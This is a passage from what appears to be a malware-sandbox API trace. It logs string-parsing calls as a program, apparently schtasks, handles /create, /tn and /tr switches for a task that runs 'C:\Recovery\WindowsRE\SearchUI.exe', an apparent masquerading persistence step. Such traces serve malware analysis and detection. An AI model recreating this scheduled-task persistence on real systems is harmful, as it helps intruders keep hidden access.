[0126.812] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0126.812] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.812] lstrlenW (lpString="d") returned 1 [0126.812] lstrlenW (lpString="d") returned 1 [0126.812] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.812] lstrlenW (lpString="tr") returned 2 [0126.812] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.812] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|d|") returned 3 [0126.812] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.812] lstrlenW (lpString="|d|") returned 3 [0126.812] lstrlenW (lpString="|tr|") returned 4 [0126.812] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.812] lstrlenW (lpString="m") returned 1 [0126.813] lstrlenW (lpString="m") returned 1 [0126.813] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.813] lstrlenW (lpString="tr") returned 2 [0126.813] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.813] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|m|") returned 3 [0126.813] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.813] lstrlenW (lpString="|m|") returned 3 [0126.813] lstrlenW (lpString="|tr|") returned 4 [0126.813] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.813] lstrlenW (lpString="i") returned 1 [0126.813] lstrlenW (lpString="i") returned 1 [0126.813] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.813] lstrlenW (lpString="tr") returned 2 [0126.813] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.813] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|i|") returned 3 [0126.813] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.813] lstrlenW (lpString="|i|") returned 3 [0126.813] lstrlenW (lpString="|tr|") returned 4 [0126.813] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.813] lstrlenW (lpString="tn") returned 2 [0126.813] lstrlenW (lpString="tn") returned 2 [0126.813] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.813] lstrlenW (lpString="tr") returned 2 [0126.813] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.813] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.813] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.813] lstrlenW (lpString="|tn|") returned 4 [0126.814] lstrlenW (lpString="|tr|") returned 4 [0126.814] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0126.814] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.814] lstrlenW (lpString="tr") returned 2 [0126.814] lstrlenW (lpString="tr") returned 2 [0126.814] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.814] lstrlenW (lpString="tr") returned 2 [0126.814] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.814] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.814] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.814] lstrlenW (lpString="|tr|") returned 4 [0126.814] lstrlenW (lpString="|tr|") returned 4 [0126.814] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0126.814] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.814] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.814] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0126.814] lstrlenW (lpString="-/") returned 2 [0126.814] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0126.814] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.814] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.814] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.814] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0126.814] StrChrIW (lpStart="'C:\\Recovery\\WindowsRE\\SearchUI.exe'", wMatch=0x3a) returned=":\\Recovery\\WindowsRE\\SearchUI.exe'" [0126.814] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0126.814] _memicmp (_Buf1=0x1769e9147b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.814] _memicmp (_Buf1=0x1769e91a9a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.814] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.814] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.814] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.815] lstrlenW (lpString="'C") returned 2 [0126.815] lstrlenW (lpString="-/") returned 2 [0126.815] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0126.815] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.815] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.815] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.815] _memicmp (_Buf1=0x1769e91aa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.815] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0126.815] GetProcessHeap () returned 0x1769e910000 [0126.815] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91a940) returned 1 [0126.815] GetProcessHeap () returned 0x1769e910000 [0126.815] RtlReAllocateHeap (Heap=0x1769e910000, Flags=0xc, Ptr=0x1769e91a940, Size=0x4a) returned 0x1769e914730 [0126.815] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0126.815] lstrlenW (lpString=" \x09") returned 2 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0126.815] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0126.816] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0126.816] GetLastError () returned 0x0 [0126.816] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0126.816] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0126.816] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.816] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.816] lstrlenW (lpString="/rl") returned 3 [0126.816] lstrlenW (lpString="-/") returned 2 [0126.816] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.816] lstrlenW (lpString="create") returned 6 [0126.816] lstrlenW (lpString="create") returned 6 [0126.816] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.817] lstrlenW (lpString="rl") returned 2 [0126.817] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.817] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|create|") returned 8 [0126.817] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.817] lstrlenW (lpString="|create|") returned 8 [0126.817] lstrlenW (lpString="|rl|") returned 4 [0126.817] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0126.817] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.817] lstrlenW (lpString="?") returned 1 [0126.817] lstrlenW (lpString="?") returned 1 [0126.817] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.817] lstrlenW (lpString="rl") returned 2 [0126.817] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.817] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|?|") returned 3 [0126.817] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.817] lstrlenW (lpString="|?|") returned 3 [0126.817] lstrlenW (lpString="|rl|") returned 4 [0126.817] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.817] lstrlenW (lpString="s") returned 1 [0126.817] lstrlenW (lpString="s") returned 1 [0126.817] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.817] lstrlenW (lpString="rl") returned 2 [0126.817] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.817] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|s|") returned 3 [0126.817] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.817] lstrlenW (lpString="|s|") returned 3 [0126.818] lstrlenW (lpString="|rl|") returned 4 [0126.818] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.818] lstrlenW (lpString="u") returned 1 [0126.818] lstrlenW (lpString="u") returned 1 [0126.818] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.818] lstrlenW (lpString="rl") returned 2 [0126.818] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.818] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|u|") returned 3 [0126.818] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.818] lstrlenW (lpString="|u|") returned 3 [0126.818] lstrlenW (lpString="|rl|") returned 4 [0126.818] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.818] lstrlenW (lpString="p") returned 1 [0126.818] lstrlenW (lpString="p") returned 1 [0126.818] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.818] lstrlenW (lpString="rl") returned 2 [0126.818] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.818] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|p|") returned 3 [0126.818] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.818] lstrlenW (lpString="|p|") returned 3 [0126.818] lstrlenW (lpString="|rl|") returned 4 [0126.818] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.818] lstrlenW (lpString="ru") returned 2 [0126.818] lstrlenW (lpString="ru") returned 2 [0126.818] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.818] lstrlenW (lpString="rl") returned 2 [0126.818] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.819] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|ru|") returned 4 [0126.819] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.819] lstrlenW (lpString="|ru|") returned 4 [0126.819] lstrlenW (lpString="|rl|") returned 4 [0126.819] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0126.819] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.819] lstrlenW (lpString="rp") returned 2 [0126.819] lstrlenW (lpString="rp") returned 2 [0126.819] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.819] lstrlenW (lpString="rl") returned 2 [0126.819] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.819] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rp|") returned 4 [0126.819] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.819] lstrlenW (lpString="|rp|") returned 4 [0126.819] lstrlenW (lpString="|rl|") returned 4 [0126.819] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0126.819] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.819] lstrlenW (lpString="sc") returned 2 [0126.819] lstrlenW (lpString="sc") returned 2 [0126.819] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.819] lstrlenW (lpString="rl") returned 2 [0126.819] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.819] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.819] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.819] lstrlenW (lpString="|sc|") returned 4 [0126.819] lstrlenW (lpString="|rl|") returned 4 [0126.820] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0126.820] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.820] lstrlenW (lpString="mo") returned 2 [0126.820] lstrlenW (lpString="mo") returned 2 [0126.820] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.820] lstrlenW (lpString="rl") returned 2 [0126.820] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.820] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.820] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.820] lstrlenW (lpString="|mo|") returned 4 [0126.820] lstrlenW (lpString="|rl|") returned 4 [0126.820] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0126.820] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.820] lstrlenW (lpString="d") returned 1 [0126.820] lstrlenW (lpString="d") returned 1 [0126.820] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.820] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.820] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|d|") returned 3 [0126.820] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.820] lstrlenW (lpString="|d|") returned 3 [0126.820] lstrlenW (lpString="|rl|") returned 4 [0126.820] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.820] lstrlenW (lpString="m") returned 1 [0126.820] lstrlenW (lpString="m") returned 1 [0126.820] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.820] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.821] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|m|") returned 3 [0126.821] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.821] lstrlenW (lpString="|m|") returned 3 [0126.821] lstrlenW (lpString="|rl|") returned 4 [0126.821] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.821] lstrlenW (lpString="i") returned 1 [0126.821] lstrlenW (lpString="i") returned 1 [0126.821] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.821] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.821] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|i|") returned 3 [0126.821] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.821] lstrlenW (lpString="|i|") returned 3 [0126.821] lstrlenW (lpString="|rl|") returned 4 [0126.821] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.821] lstrlenW (lpString="tn") returned 2 [0126.821] lstrlenW (lpString="tn") returned 2 [0126.821] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.821] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.821] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.821] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.821] lstrlenW (lpString="|tn|") returned 4 [0126.821] lstrlenW (lpString="|rl|") returned 4 [0126.821] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0126.821] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.821] lstrlenW (lpString="tr") returned 2 [0126.821] lstrlenW (lpString="tr") returned 2 [0126.821] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.821] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.821] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.822] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.822] lstrlenW (lpString="|tr|") returned 4 [0126.822] lstrlenW (lpString="|rl|") returned 4 [0126.822] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0126.822] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.822] lstrlenW (lpString="st") returned 2 [0126.822] lstrlenW (lpString="st") returned 2 [0126.822] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.822] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.822] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|st|") returned 4 [0126.822] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.822] lstrlenW (lpString="|st|") returned 4 [0126.822] lstrlenW (lpString="|rl|") returned 4 [0126.822] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0126.822] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.822] lstrlenW (lpString="sd") returned 2 [0126.822] lstrlenW (lpString="sd") returned 2 [0126.822] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.822] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.822] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sd|") returned 4 [0126.822] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.822] lstrlenW (lpString="|sd|") returned 4 [0126.822] lstrlenW (lpString="|rl|") returned 4 [0126.822] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0126.822] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.822] lstrlenW (lpString="ed") returned 2 [0126.822] lstrlenW (lpString="ed") returned 2 [0126.822] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.822] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.823] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|ed|") returned 4 [0126.823] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.823] lstrlenW (lpString="|ed|") returned 4 [0126.823] lstrlenW (lpString="|rl|") returned 4 [0126.823] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0126.823] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.823] lstrlenW (lpString="it") returned 2 [0126.823] lstrlenW (lpString="it") returned 2 [0126.823] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.823] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.823] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|it|") returned 4 [0126.823] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.823] lstrlenW (lpString="|it|") returned 4 [0126.823] lstrlenW (lpString="|rl|") returned 4 [0126.823] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0126.823] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.823] lstrlenW (lpString="et") returned 2 [0126.823] lstrlenW (lpString="et") returned 2 [0126.823] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.823] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.823] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|et|") returned 4 [0126.823] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.823] lstrlenW (lpString="|et|") returned 4 [0126.823] lstrlenW (lpString="|rl|") returned 4 [0126.823] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0126.823] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.823] lstrlenW (lpString="k") returned 1 [0126.823] lstrlenW (lpString="k") returned 1 [0126.823] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.824] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.824] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|k|") returned 3 [0126.824] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.824] lstrlenW (lpString="|k|") returned 3 [0126.824] lstrlenW (lpString="|rl|") returned 4 [0126.824] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.824] lstrlenW (lpString="du") returned 2 [0126.824] lstrlenW (lpString="du") returned 2 [0126.824] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.824] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.824] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|du|") returned 4 [0126.824] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.824] lstrlenW (lpString="|du|") returned 4 [0126.824] lstrlenW (lpString="|rl|") returned 4 [0126.824] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0126.824] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.824] lstrlenW (lpString="ri") returned 2 [0126.824] lstrlenW (lpString="ri") returned 2 [0126.824] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.824] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.824] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|ri|") returned 4 [0126.824] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", 